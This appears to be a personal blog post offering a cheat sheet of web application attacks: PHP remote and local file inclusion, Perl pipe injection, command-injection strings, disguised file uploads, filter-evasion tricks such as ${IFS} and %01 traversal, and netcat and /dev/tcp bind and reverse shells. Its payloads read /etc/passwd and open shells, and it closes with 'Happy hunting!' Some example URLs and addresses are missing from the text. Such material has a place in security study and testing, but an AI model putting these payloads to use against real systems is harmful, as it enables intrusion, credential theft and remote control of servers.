Posts A skidalicious cheat sheet of webapp exploitation techniques

A skidalicious cheat sheet of webapp exploitation techniques


This is intended to be a concice cheat sheet for common web application exploitation techniques. Most of these techniques are well known, but hopefully this can serve as a place to breifly explain how to put a web application exploit together in pieces, depending on what you need to do to exploit it modularly. This should cover the vulnerability themselves, as well as some simple IPS/WAF style evasion techniques, and different types of shelling.

Common Vulnerabilities

Remote File Inclusion ( PHP RFI )

Sometimes where on the backend server, usually a file is called, then later included, you can modify the file included to be a URL, and then include the remote file in the server’s PHP script. You can sometimes enumerate RFI vulnerabilties by trying to include a normal remote page in. In practice RFI genearlly looks something like this as an example:

Where evil.php on the remote server is whatever PHP code you would like to run, usually something that will later pop you a shell. This would look something like:

<? php
passthru("cat /etc/passwd");

Then you can call the web script like:

Where cat /etc/passwd is your command.

Local File Inclusion ( PHP LFI )

Locally included files can also be passed to PHP scripts on the server side. You can pull in /etc/passwd as a test to see if LFI is probable. A common approach would be to find a file that you can inject arbitrary data into, then locallly include, such as /proc/self/environ since you can change it’s values with the User-Agent header.

One approach would be to include via a simple directory transversal on the vulnerable value:

Another approach would be to use filter, then to decode the base64 output:

While changing the User-Agent header value to something like <? php system('cat /etc/passwd') ?> where cat /etc/passwd is your command.

Perl Open Read Injection ( Perl | )

Due to a nuance of how perl can open a file for reading, as well as execute code via the same function, you can often find a url such as:

Then change the request to:|cat /etc/passwd

Where anything after the pipe “|” character will be execute as a command. The output should usually hit the web browser.

Miscallanious system abuse command injection

A couple examples of how calls to system or eval like functions could be abused to execute artibtrary code:;cat /etc/passwd cat /etc/passwd | cat /etc/passwd$(cat /etc/passwd)`cat /etc/passwd`;cat /etc/passwd

Upload arbitrary files as executable code

Sometimes you can even simply upload a file containing php, perl, or other cgi code with another extension (such as .txt, .png, jpg, pdf, etc), then have the code executed when you try to read the file through the browser. Occassionally you may need to pull other tricks such as fake the header of another filetype before the actual php code to fool the server into thinking that it is a valid file of the correct type. Sometimes this can be accomplished by embeddeding the php code within metadata as well.

Evasion Techniques

Command line space without space

Sometimes either because of an IPS or WAF in place, or just becuase of the way the CGI on the server is designed, you cannot have any spaces in your command. Luckily, a neat way around this problem is a little known feature of shell scripting. You can add ${IFS} to any place where a space should reside in the command (in between arguments, etc) to add a variable in place of an actual space. You can also use the syntax {command,-argument,blah} to accomplish the same thing.



Both extrapolate to running the command ping -c 1

Arbitrary evasion characters ( such as %00, %01, etc )

Sometimes filters in the program itself or the IPS or WAF will disable direct exploitation of a directory transversal. Enter evasion characters such as adding a HTTP hexadecimal character within the URL you’re trying to pull. I’ve had things like %00 and %01 work when it comes to evasion techniques. So as an example, instead of ../../../../etc/passwd you could do ..%01/..%01/..%01/..%01/etc/passwd. If this does not work, try changing it to NULL or other characters (ususally something low on the ASCII table).

Types of shell connections

Once you have acheived remote code execution using another method, your last step is to grab a shell. This is usually going to be done one of two ways, a bind shell, or a reverse shell. Each has their strengths and weaknesses.

Bind shell

A bind shell will, as the name implies, bind a shell (/bin/bash, /bin/sh, etc) to a listening port on the server. This can be handy if you know there is a port open on the firewall that is not currently in use by a service, also handy if you want to have it respawn on this port after a closed connection.

nc -l -p 7777 -e /bin/sh

Assuming there is no firewall in the way, you should be able to connect to port 7777 via netcat on the attacking machine and have a shell.

Reverse shell

Reverse shells are handy when you have a more restrictive firewall, but most outgoing traffic is not strictly filtered, and you have control of your local firewall (you’ll need to open a port locally, and forward it on your router).

Run a listener locally after forwarding a port on your local router and opening firewall port 7777 (this can be anything really, and is sometimes beneficial to be a commonly used port like 80 or 443) then run a the reverse shell on the victim machine as:

nc 7777 -e /bin/sh


bash -i >& /dev/tcp/ 0>&1


You should now have a rudimentary understanding of web application exploitation, and can go on to build your own exploits from here. Most modern software these simple tricks won’t work on, however, there are /many/ things they will, not to metion new vulnerabilties are found all the time using these techniques.

Happy hunting!

This post is licensed under CC BY 4.0 by the author.